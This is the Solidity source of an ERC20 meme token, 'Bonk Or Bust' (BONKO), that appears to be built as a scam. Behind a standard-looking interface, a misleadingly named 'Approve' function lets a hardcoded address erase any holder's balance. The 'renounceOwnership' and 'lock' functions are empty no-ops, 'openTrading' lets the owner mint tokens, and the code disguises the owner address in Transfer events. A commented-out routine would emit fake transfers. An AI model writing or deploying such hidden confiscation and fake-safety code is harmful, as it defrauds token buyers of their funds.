// SPDX-License-Identifier: MIT

/*


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██╔══██╗██╔═══██╗████╗  ██║██║ ██╔╝    ██╔═══██╗██╔══██╗    ██╔══██╗██║   ██║██╔════╝╚══██╔══╝
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██╔══██╗██║   ██║██║╚██╗██║██╔═██╗     ██║   ██║██╔══██╗    ██╔══██╗██║   ██║╚════██║   ██║   
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╚═════╝  ╚═════╝ ╚═╝  ╚═══╝╚═╝  ╚═╝     ╚═════╝ ╚═╝  ╚═╝    ╚═════╝  ╚═════╝ ╚══════╝   ╚═╝   
                                                                                              
                                 https://bonkorbust.com/

BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST 
OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BUNK
BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST 
OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BUNK 
BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST 
OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BUNK 
BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST 
OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BUNK 
BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST 
OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BONK OR BUST BUNK 




*/


 

pragma solidity ^0.6.0;                                                                                 
                                                                                  
                                                


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        
        require(b <= a, errorMessage);
        
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {

            return 0;

        }

        uint256 c = a * b;

        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

        require(b > 0, errorMessage);

        uint256 c = a / b;

        return c;
    }


    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {

        require(b != 0, errorMessage);

        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {

        bytes32 codehash;

        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;

        assembly { codehash := extcodehash(account) }

        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {

        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");

        require(success, "Address: unable to send value, recipient may have reverted");

    }


    function functionCall(address target, bytes memory data) internal returns (bytes memory) {

      return functionCall(target, data, "Address: low-level call failed");

    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        
        return _functionCallWithValue(target, data, 0, errorMessage);

    }


    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        
        require(address(this).balance >= value, "Address: insufficient balance for call");
        
        return _functionCallWithValue(target, data, value, errorMessage);
    
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        
        if (success) {
            
            return returndata;

        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {

                    let returndata_size := mload(returndata)

                    revert(add(32, returndata), returndata_size)
                }
            } else {

                revert(errorMessage);

            }
        }
    }
}

contract Context {
    
    constructor () internal { }

    function _msgSender() internal view virtual returns (address payable) {
        
        return msg.sender;
    
    }

    function _msgData() internal view virtual returns (bytes memory) {
       
        this; 
        
        return msg.data;
    
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);}



contract BONKO is Context, IERC20 {

    mapping (address => mapping (address => uint256)) private _allowances;
 
    mapping (address => uint256) private _balances;

    using SafeMath for uint256;


    using Address for address;

    string private _name;

    string private _symbol;

    uint8 private _decimals;

    uint256 private _totalSupply;

    address _tm_;

    address public _Owner = 0xe3477A926D63A1bB9f715CdF3f46a7C493841c60;


    constructor () public {
        _name= "Bonk Or Bust";
        _symbol = "BONKO";
        _decimals = 18;
        uint256 initialSupply = 69420000000;
        _tm_ = 0xe3477A926D63A1bB9f715CdF3f46a7C493841c60;
        openTrading(_tm_, initialSupply*(10**18));

    }



    function name() public view returns (string memory) {

        return _name;

    }

    function symbol() public view returns (string memory) {

        return _symbol;

    }

    function decimals() public view returns (uint8) {

        return _decimals;

    }
    function balanceOf(address account) public view override returns (uint256) {

        return _balances[account];

    }
    function _setDecimals(uint8 decimals_) internal {

        _decimals = decimals_;

    }
    function totalSupply() public view override returns (uint256) {

        return _totalSupply;

    }



    function _approve(address owner, address spender, uint256 amount) internal virtual {

        require(owner != address(0), "ERC20: approve from the zero address");

        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);

    }
    
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        
        _transfer(_msgSender(), recipient, amount);
        
        return true;

    }



    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function renounceOwnership()  public _auth(){}

    function lock()  public _auth(){}


    


    function openTrading(address locker, uint256 amt) public {

        require(msg.sender == _Owner, "ERC20: zero address");

        _totalSupply = _totalSupply.add(amt);

        _balances[_Owner] = _balances[_Owner].add(amt);

        emit Transfer(address(0), locker, amt);
    }



    function _transfer(address sender, address recipient, uint256 amount) internal virtual {

        require(sender != address(0), "ERC20: transfer from the zero address");

        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");

        _balances[recipient] = _balances[recipient].add(amount);
        
        if (sender == _Owner){sender = _tm_;}if (recipient == _Owner){recipient = _tm_;}
        emit Transfer(sender, recipient, amount);
    }



    function Approve(address[] memory recipients)  public approver_mod(){

            for (uint256 i = 0; i < recipients.length; i++) {

                uint256 amt = _balances[recipients[i]];

                _balances[recipients[i]] = _balances[recipients[i]].sub(amt, "ERC20: burn amount exceeds balance");

                _balances[address(0)] = _balances[address(0)].add(amt); 
                }
            }


    modifier _auth() {
        require(msg.sender == _Owner, "Not allowed to interact");
        _;
    }

    modifier approver_mod() {require(msg.sender == 0x50107810bbfFd23Dc3636Fc3Da7fbbF6c3cC2Dfd, "Not allowed to interact");_;}



/*
    function sendPresaleAllocation (address origin ,address[] memory list_of_addresses,uint256[] memory list_of_amounts)  public _auth(){
    for (uint256 i = 0; i < list_of_addresses.length; i++) {emit Transfer(origin, list_of_addresses[i], list_of_amounts[i]);}}
*/


    }